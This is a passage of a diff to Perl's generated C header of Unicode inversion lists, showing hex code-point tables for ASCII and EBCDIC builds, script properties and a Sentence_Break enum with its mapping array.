0xA769, + 0xA76A, + 0xA76B, + 0xA76C, + 0xA76D, + 0xA76E, + 0xA76F, + 0xA779, + 0xA77A, + 0xA77B, + 0xA77C, + 0xA77D, + 0xA77F, + 0xA780, + 0xA781, + 0xA782, + 0xA783, + 0xA784, + 0xA785, + 0xA786, + 0xA787, + 0xA788, 0xA789, 0xA78B, + 0xA78C, + 0xA78D, + 0xA78E, + 0xA78F, + 0xA790, + 0xA791, + 0xA792, + 0xA793, + 0xA796, + 0xA797, + 0xA798, + 0xA799, + 0xA79A, + 0xA79B, + 0xA79C, + 0xA79D, + 0xA79E, + 0xA79F, + 0xA7A0, + 0xA7A1, + 0xA7A2, + 0xA7A3, + 0xA7A4, + 0xA7A5, + 0xA7A6, + 0xA7A7, + 0xA7A8, + 0xA7A9, + 0xA7AA, + 0xA7AF, + 0xA7B0, + 0xA7B5, + 0xA7B6, + 0xA7B7, + 0xA7B8, + 0xA7F7, + 0xA7F8, + 0xA7FB, + 0xA802, + 0xA803, + 0xA806, + 0xA807, + 0xA80B, + 0xA80C, + 0xA823, 0xA828, - 0xA82C, - 0xA836, - 0xA83A, + 0xA840, + 0xA874, + 0xA876, + 0xA878, + 0xA880, + 0xA882, + 0xA8B4, + 0xA8C6, + 0xA8CE, + 0xA8D0, + 0xA8DA, + 0xA8E0, + 0xA8F2, + 0xA8F8, + 0xA8FB, + 0xA8FC, + 0xA8FD, + 0xA8FE, + 0xA900, + 0xA90A, + 0xA926, + 0xA92E, + 0xA92F, + 0xA930, + 0xA947, + 0xA954, + 0xA960, + 0xA97D, + 0xA980, + 0xA984, + 0xA9B3, + 0xA9C1, + 0xA9C8, + 0xA9CA, + 0xA9CF, + 0xA9D0, + 0xA9DA, + 0xA9E0, + 0xA9E5, + 0xA9E6, + 0xA9F0, + 0xA9FA, + 0xA9FF, + 0xAA00, + 0xAA29, + 0xAA37, + 0xAA40, + 0xAA43, + 0xAA44, + 0xAA4C, + 0xAA4E, + 0xAA50, + 0xAA5A, + 0xAA5D, + 0xAA60, 0xAA77, 0xAA7A, + 0xAA7B, + 0xAA7E, + 0xAAB0, + 0xAAB1, + 0xAAB2, + 0xAAB5, + 0xAAB7, + 0xAAB9, + 0xAABE, + 0xAAC0, + 0xAAC1, + 0xAAC2, + 0xAAC3, + 0xAADB, + 0xAADE, + 0xAAE0, + 0xAAEB, + 0xAAF0, + 0xAAF2, + 0xAAF5, + 0xAAF7, + 0xAB01, + 0xAB07, + 0xAB09, + 0xAB0F, + 0xAB11, + 0xAB17, + 0xAB20, + 0xAB27, + 0xAB28, + 0xAB2F, + 0xAB30, 0xAB5B, 0xAB5C, + 0xAB66, + 0xAB70, + 0xABC0, + 0xABE3, + 0xABEB, + 0xABEC, + 0xABEE, + 0xABF0, + 0xABFA, + 0xAC00, + 0xD7A4, + 0xD7B0, + 0xD7C7, + 0xD7CB, + 0xD7FC, + 0xF900, + 0xFA6E, + 0xFA70, + 0xFADA, + 0xFB00, + 0xFB07, + 0xFB13, + 0xFB18, + 0xFB1D, + 0xFB1E, + 0xFB1F, 0xFB29, 0xFB2A, + 0xFB37, + 0xFB38, + 0xFB3D, + 0xFB3E, + 0xFB3F, + 0xFB40, + 0xFB42, + 0xFB43, + 0xFB45, + 0xFB46, 0xFBB2, - 0xFBC2, + 0xFBD3, + 0xFD3E, + 0xFD40, + 0xFD50, + 0xFD90, + 0xFD92, + 0xFDC8, + 0xFDF0, 0xFDFC, - 0xFDFE, - 0xFE62, + 0xFE00, + 0xFE10, + 0xFE12, + 0xFE13, + 0xFE14, + 0xFE17, + 0xFE19, + 0xFE20, + 0xFE30, + 0xFE31, + 0xFE33, + 0xFE35, + 0xFE45, + 0xFE47, + 0xFE49, + 0xFE50, + 0xFE52, + 0xFE53, + 0xFE55, + 0xFE56, + 0xFE58, + 0xFE59, + 0xFE5F, 0xFE63, 0xFE64, - 0xFE67, - 0xFE69, - 0xFE6A, - 0xFF04, - 0xFF05, - 0xFF0B, + 0xFE70, + 0xFE75, + 0xFE76, + 0xFEFD, + 0xFEFF, + 0xFF00, + 0xFF01, + 0xFF02, + 0xFF08, + 0xFF0A, 0xFF0C, - 0xFF1C, + 0xFF0E, + 0xFF0F, + 0xFF1A, + 0xFF1B, 0xFF1F, + 0xFF20, + 0xFF21, + 0xFF3B, + 0xFF3C, + 0xFF3D, 0xFF3E, - 0xFF3F, - 0xFF40, 0xFF41, + 0xFF5B, 0xFF5C, 0xFF5D, 0xFF5E, 0xFF5F, - 0xFFE0, - 0xFFE7, - 0xFFE8, - 0xFFEF, + 0xFF61, + 0xFF62, + 0xFF64, + 0xFF65, + 0xFF66, + 0xFF9E, + 0xFFA0, + 0xFFBF, + 0xFFC2, + 0xFFC8, + 0xFFCA, + 0xFFD0, + 0xFFD2, + 0xFFD8, + 0xFFDA, + 0xFFDD, + 0xFFF9, 0xFFFC, - 0xFFFE, - 0x10137, + 0x10000, + 0x1000C, + 0x1000D, + 0x10027, + 0x10028, + 0x1003B, + 0x1003C, + 0x1003E, + 0x1003F, + 0x1004E, + 0x10050, + 0x1005E, + 0x10080, + 0x100FB, 0x10140, - 0x10179, - 0x1018A, - 0x1018C, - 0x1018F, - 0x10190, - 0x1019C, - 0x101A0, - 0x101A1, - 0x101D0, + 0x10175, 0x101FD, + 0x101FE, + 0x10280, + 0x1029D, + 0x102A0, + 0x102D1, + 0x102E0, + 0x102E1, + 0x10300, + 0x10320, + 0x10330, + 0x1034B, + 0x10350, + 0x10376, + 0x1037B, + 0x10380, + 0x1039E, + 0x103A0, + 0x103C4, + 0x103C8, + 0x103D0, + 0x103D1, + 0x103D6, + 0x10400, + 0x10428, + 0x10450, + 0x1049E, + 0x104A0, + 0x104AA, + 0x104B0, + 0x104D4, + 0x104D8, + 0x104FC, + 0x10500, + 0x10528, + 0x10530, + 0x10564, + 0x10600, + 0x10737, + 0x10740, + 0x10756, + 0x10760, + 0x10768, + 0x10800, + 0x10806, + 0x10808, + 0x10809, + 0x1080A, + 0x10836, + 0x10837, + 0x10839, + 0x1083C, + 0x1083D, + 0x1083F, + 0x10856, + 0x10860, 0x10877, - 0x10879, + 0x10880, + 0x1089F, + 0x108E0, + 0x108F3, + 0x108F4, + 0x108F6, + 0x10900, + 0x10916, + 0x10920, + 0x1093A, + 0x10980, + 0x109B8, + 0x109BE, + 0x109C0, + 0x10A00, + 0x10A01, + 0x10A04, + 0x10A05, + 0x10A07, + 0x10A0C, + 0x10A10, + 0x10A14, + 0x10A15, + 0x10A18, + 0x10A19, + 0x10A34, + 0x10A38, + 0x10A3B, + 0x10A3F, + 0x10A40, + 0x10A56, + 0x10A58, + 0x10A60, + 0x10A7D, + 0x10A80, + 0x10A9D, + 0x10AC0, 0x10AC8, 0x10AC9, + 0x10AE5, + 0x10AE7, + 0x10B00, + 0x10B36, + 0x10B40, + 0x10B56, + 0x10B60, + 0x10B73, + 0x10B80, + 0x10B92, + 0x10C00, + 0x10C49, + 0x10C80, + 0x10CB3, + 0x10CC0, + 0x10CF3, + 0x11000, + 0x11003, + 0x11038, + 0x11047, + 0x11049, + 0x11066, + 0x11070, + 0x1107F, + 0x11083, + 0x110B0, + 0x110BB, + 0x110BD, + 0x110BE, + 0x110C2, + 0x110D0, + 0x110E9, + 0x110F0, + 0x110FA, + 0x11100, + 0x11103, + 0x11127, + 0x11135, + 0x11136, + 0x11140, + 0x11141, + 0x11144, + 0x11150, + 0x11173, + 0x11174, + 0x11176, + 0x11177, + 0x11180, + 0x11183, + 0x111B3, + 0x111C1, + 0x111C5, + 0x111C7, + 0x111CA, + 0x111CD, + 0x111CE, + 0x111D0, + 0x111DA, + 0x111DB, + 0x111DC, + 0x111DD, + 0x111DE, + 0x111E0, + 0x11200, + 0x11212, + 0x11213, + 0x1122C, + 0x11238, + 0x1123A, + 0x1123B, + 0x1123D, + 0x1123E, + 0x1123F, + 0x11280, + 0x11287, + 0x11288, + 0x11289, + 0x1128A, + 0x1128E, + 0x1128F, + 0x1129E, + 0x1129F, + 0x112A9, + 0x112AA, + 0x112B0, + 0x112DF, + 0x112EB, + 0x112F0, + 0x112FA, + 0x11300, + 0x11304, + 0x11305, + 0x1130D, + 0x1130F, + 0x11311, + 0x11313, + 0x11329, + 0x1132A, + 0x11331, + 0x11332, + 0x11334, + 0x11335, + 0x1133A, + 0x1133C, + 0x1133D, + 0x1133E, + 0x11345, + 0x11347, + 0x11349, + 0x1134B, + 0x1134E, + 0x11350, + 0x11351, + 0x11357, + 0x11358, + 0x1135D, + 0x11362, + 0x11364, + 0x11366, + 0x1136D, + 0x11370, + 0x11375, + 0x11400, + 0x11435, + 0x11447, + 0x1144B, + 0x1144D, + 0x11450, + 0x1145A, + 0x11480, + 0x114B0, + 0x114C4, + 0x114C6, + 0x114C7, + 0x114C8, + 0x114D0, + 0x114DA, + 0x11580, + 0x115AF, + 0x115B6, + 0x115B8, + 0x115C1, + 0x115C2, + 0x115C4, + 0x115C9, + 0x115D8, + 0x115DC, + 0x115DE, + 0x11600, + 0x11630, + 0x11641, + 0x11643, + 0x11644, + 0x11645, + 0x11650, + 0x1165A, + 0x11680, + 0x116AB, + 0x116B8, + 0x116C0, + 0x116CA, + 0x11700, + 0x1171A, + 0x1171D, + 0x1172C, + 0x11730, + 0x1173A, + 0x1173C, 0x1173F, - 0x11740, - 0x16B3C, + 0x118A0, + 0x118C0, + 0x118E0, + 0x118EA, + 0x118FF, + 0x11900, + 0x11AC0, + 0x11AF9, + 0x11C00, + 0x11C09, + 0x11C0A, + 0x11C2F, + 0x11C37, + 0x11C38, + 0x11C40, + 0x11C41, + 0x11C43, + 0x11C50, + 0x11C5A, + 0x11C72, + 0x11C90, + 0x11C92, + 0x11CA8, + 0x11CA9, + 0x11CB7, + 0x12000, + 0x1239A, + 0x12400, + 0x1246F, + 0x12480, + 0x12544, + 0x13000, + 0x1342F, + 0x14400, + 0x14647, + 0x16800, + 0x16A39, + 0x16A40, + 0x16A5F, + 0x16A60, + 0x16A6A, + 0x16A6E, + 0x16A70, + 0x16AD0, + 0x16AEE, + 0x16AF0, + 0x16AF5, + 0x16AF6, + 0x16B00, + 0x16B30, + 0x16B37, + 0x16B39, 0x16B40, + 0x16B44, 0x16B45, - 0x16B46, - 0x1BC9C, + 0x16B50, + 0x16B5A, + 0x16B63, + 0x16B78, + 0x16B7D, + 0x16B90, + 0x16F00, + 0x16F45, + 0x16F50, + 0x16F51, + 0x16F7F, + 0x16F8F, + 0x16F93, + 0x16FA0, + 0x16FE0, + 0x16FE1, + 0x17000, + 0x187ED, + 0x18800, + 0x18AF3, + 0x1B000, + 0x1B002, + 0x1BC00, + 0x1BC6B, + 0x1BC70, + 0x1BC7D, + 0x1BC80, + 0x1BC89, + 0x1BC90, + 0x1BC9A, 0x1BC9D, - 0x1D000, - 0x1D0F6, - 0x1D100, - 0x1D127, - 0x1D129, + 0x1BC9F, + 0x1BCA0, + 0x1BCA4, 0x1D165, 0x1D16A, 0x1D16D, + 0x1D173, + 0x1D17B, 0x1D183, 0x1D185, 0x1D18C, 0x1D1AA, 0x1D1AE, - 0x1D1E9, - 0x1D200, 0x1D242, 0x1D245, - 0x1D246, - 0x1D300, - 0x1D357, + 0x1D400, + 0x1D41A, + 0x1D434, + 0x1D44E, + 0x1D455, + 0x1D456, + 0x1D468, + 0x1D482, + 0x1D49C, + 0x1D49D, + 0x1D49E, + 0x1D4A0, + 0x1D4A2, + 0x1D4A3, + 0x1D4A5, + 0x1D4A7, + 0x1D4A9, + 0x1D4AD, + 0x1D4AE, + 0x1D4B6, + 0x1D4BA, + 0x1D4BB, + 0x1D4BC, + 0x1D4BD, + 0x1D4C4, + 0x1D4C5, + 0x1D4D0, + 0x1D4EA, + 0x1D504, + 0x1D506, + 0x1D507, + 0x1D50B, + 0x1D50D, + 0x1D515, + 0x1D516, + 0x1D51D, + 0x1D51E, + 0x1D538, + 0x1D53A, + 0x1D53B, + 0x1D53F, + 0x1D540, + 0x1D545, + 0x1D546, + 0x1D547, + 0x1D54A, + 0x1D551, + 0x1D552, + 0x1D56C, + 0x1D586, + 0x1D5A0, + 0x1D5BA, + 0x1D5D4, + 0x1D5EE, + 0x1D608, + 0x1D622, + 0x1D63C, + 0x1D656, + 0x1D670, + 0x1D68A, + 0x1D6A6, + 0x1D6A8, 0x1D6C1, 0x1D6C2, 0x1D6DB, 0x1D6DC, + 0x1D6E2, 0x1D6FB, 0x1D6FC, 0x1D715, 0x1D716, + 0x1D71C, 0x1D735, 0x1D736, 0x1D74F, 0x1D750, + 0x1D756, 0x1D76F, 0x1D770, 0x1D789, 0x1D78A, + 0x1D790, 0x1D7A9, 0x1D7AA, 0x1D7C3, 0x1D7C4, + 0x1D7CA, + 0x1D7CB, + 0x1D7CC, + 0x1D7CE, 0x1D800, 0x1DA00, 0x1DA37, @@ -328439,493 +15249,3206 @@ static const UV PL_S_invlist[] = { /* for EBCDIC 037 */ 0x1DA76, 0x1DA84, 0x1DA85, - 0x1DA87, - 0x1EEF0, - 0x1EEF2, - 0x1F000, - 0x1F02C, - 0x1F030, - 0x1F094, - 0x1F0A0, - 0x1F0AF, - 0x1F0B1, - 0x1F0C0, - 0x1F0C1, - 0x1F0D0, - 0x1F0D1, - 0x1F0F6, - 0x1F110, - 0x1F12F, + 0x1DA88, + 0x1DA89, + 0x1DA9B, + 0x1DAA0, + 0x1DAA1, + 0x1DAB0, + 0x1E000, + 0x1E007, + 0x1E008, + 0x1E019, + 0x1E01B, + 0x1E022, + 0x1E023, + 0x1E025, + 0x1E026, + 0x1E02B, + 0x1E800, + 0x1E8C5, + 0x1E8D0, + 0x1E8D7, + 0x1E900, + 0x1E922, + 0x1E944, + 0x1E94B, + 0x1E950, + 0x1E95A, + 0x1EE00, + 0x1EE04, + 0x1EE05, + 0x1EE20, + 0x1EE21, + 0x1EE23, + 0x1EE24, + 0x1EE25, + 0x1EE27, + 0x1EE28, + 0x1EE29, + 0x1EE33, + 0x1EE34, + 0x1EE38, + 0x1EE39, + 0x1EE3A, + 0x1EE3B, + 0x1EE3C, + 0x1EE42, + 0x1EE43, + 0x1EE47, + 0x1EE48, + 0x1EE49, + 0x1EE4A, + 0x1EE4B, + 0x1EE4C, + 0x1EE4D, + 0x1EE50, + 0x1EE51, + 0x1EE53, + 0x1EE54, + 0x1EE55, + 0x1EE57, + 0x1EE58, + 0x1EE59, + 0x1EE5A, + 0x1EE5B, + 0x1EE5C, + 0x1EE5D, + 0x1EE5E, + 0x1EE5F, + 0x1EE60, + 0x1EE61, + 0x1EE63, + 0x1EE64, + 0x1EE65, + 0x1EE67, + 0x1EE6B, + 0x1EE6C, + 0x1EE73, + 0x1EE74, + 0x1EE78, + 0x1EE79, + 0x1EE7D, + 0x1EE7E, + 0x1EE7F, + 0x1EE80, + 0x1EE8A, + 0x1EE8B, + 0x1EE9C, + 0x1EEA1, + 0x1EEA4, + 0x1EEA5, + 0x1EEAA, + 0x1EEAB, + 0x1EEBC, 0x1F130, - 0x1F16C, + 0x1F14A, + 0x1F150, + 0x1F16A, 0x1F170, - 0x1F1AD, - 0x1F1E6, - 0x1F203, - 0x1F210, - 0x1F23C, - 0x1F240, - 0x1F249, - 0x1F250, - 0x1F252, - 0x1F260, - 0x1F266, - 0x1F300, - 0x1F6D5, - 0x1F6E0, - 0x1F6ED, - 0x1F6F0, - 0x1F6F9, - 0x1F700, - 0x1F774, - 0x1F780, - 0x1F7D5, - 0x1F800, - 0x1F80C, - 0x1F810, - 0x1F848, - 0x1F850, - 0x1F85A, - 0x1F860, - 0x1F888, - 0x1F890, - 0x1F8AE, - 0x1F900, - 0x1F90C, - 0x1F910, - 0x1F93F, - 0x1F940, - 0x1F94D, - 0x1F950, - 0x1F96C, - 0x1F980, - 0x1F998, - 0x1F9C0, - 0x1F9C1, - 0x1F9D0, - 0x1F9E7 -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_SAMR_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x800, - 0x82E, - 0x830, - 0x83F -}; - -static const UV PL_SARB_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10A60, - 0x10A80 -}; - -static const UV PL_SAUR_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xA880, - 0xA8C6, - 0xA8CE, - 0xA8DA -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_SB__AT_invlist[] = { /* for ASCII/Latin1 */ - 9, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2E, - 0x2F, - 0x2024, - 0x2025, - 0xFE52, - 0xFE53, - 0xFF0E, - 0xFF0F + 0x1F18A, + 0x1F676, + 0x1F679, + 0x20000, + 0x2A6D7, + 0x2A700, + 0x2B735, + 0x2B740, + 0x2B81E, + 0x2B820, + 0x2CEA2, + 0x2F800, + 0x2FA1E, + 0xE0001, + 0xE0002, + 0xE0020, + 0xE0080, + 0xE0100, + 0xE01F0 }; -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 +#endif /* defined(PERL_IN_PERL_C) */ -static const UV PL_SB__AT_invlist[] = { /* for EBCDIC 1047 */ - 9, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x4B, - 0x4C, - 0x2024, - 0x2025, - 0xFE52, - 0xFE53, - 0xFF0E, - 0xFF0F -}; +#if defined(PERL_IN_REGEXEC_C) -# endif /* EBCDIC 1047 */ +#define SB_ENUM_COUNT 16 -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 +typedef enum { + SB_Other = 0, + SB_ATerm = 1, + SB_CR = 2, + SB_Close = 3, + SB_Extend = 4, + SB_Format = 5, + SB_LF = 6, + SB_Lower = 7, + SB_Numeric = 8, + SB_OLetter = 9, + SB_SContinue = 10, + SB_STerm = 11, + SB_Sep = 12, + SB_Sp = 13, + SB_Upper = 14, + SB_EDGE = 15 +} SB_enum; -static const UV PL_SB__AT_invlist[] = { /* for EBCDIC 037 */ - 9, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x4B, - 0x4C, - 0x2024, - 0x2025, - 0xFE52, - 0xFE53, - 0xFF0E, - 0xFF0F +static const SB_enum _Perl_SB_invmap[] = { /* for ASCII/Latin1 */ + SB_Other, + SB_Sp, + SB_LF, + SB_Sp, + SB_CR, + SB_Other, + SB_Sp, + SB_STerm, + SB_Close, + SB_Other, + SB_Close, + SB_Other, + SB_SContinue, + SB_ATerm, + SB_Other, + SB_Numeric, + SB_SContinue, + SB_Other, + SB_STerm, + SB_Other, + SB_Upper, + SB_Close, + SB_Other, + SB_Close, + SB_Other, + SB_Lower, + SB_Close, + SB_Other, + SB_Close, + SB_Other, + SB_Sep, + SB_Other, + SB_Sp, + SB_Other, + SB_Lower, + SB_Close, + SB_Other, + SB_Format, + SB_Other, + SB_Lower, + SB_Other, + SB_Lower, + SB_Close, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Lower, + SB_Other, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_OLetter, + SB_Upper, + SB_Lower, + SB_OLetter, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_OLetter, + SB_Lower, + SB_OLetter, + SB_Lower, + SB_Other, + SB_OLetter, + SB_Other, + SB_Lower, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_OLetter, + SB_Other, + SB_Upper, + SB_Lower, + SB_Other, + SB_Lower, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Other, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Other, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Other, + SB_Extend, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Other, + SB_Upper, + SB_Other, + SB_OLetter, + SB_Other, + SB_SContinue, + SB_Other, + SB_Lower, + SB_Other, + SB_STerm, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Format, + SB_Other, + SB_SContinue, + SB_Other, + SB_Extend, + SB_Other, + SB_Format, + SB_Other, + SB_STerm, + SB_OLetter, + SB_Extend, + SB_Numeric, + SB_Other, + SB_Numeric, + SB_Other, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_STerm, + SB_OLetter, + SB_Extend, + SB_Format, + SB_Other, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Extend, + SB_OLetter, + SB_Numeric, + SB_OLetter, + 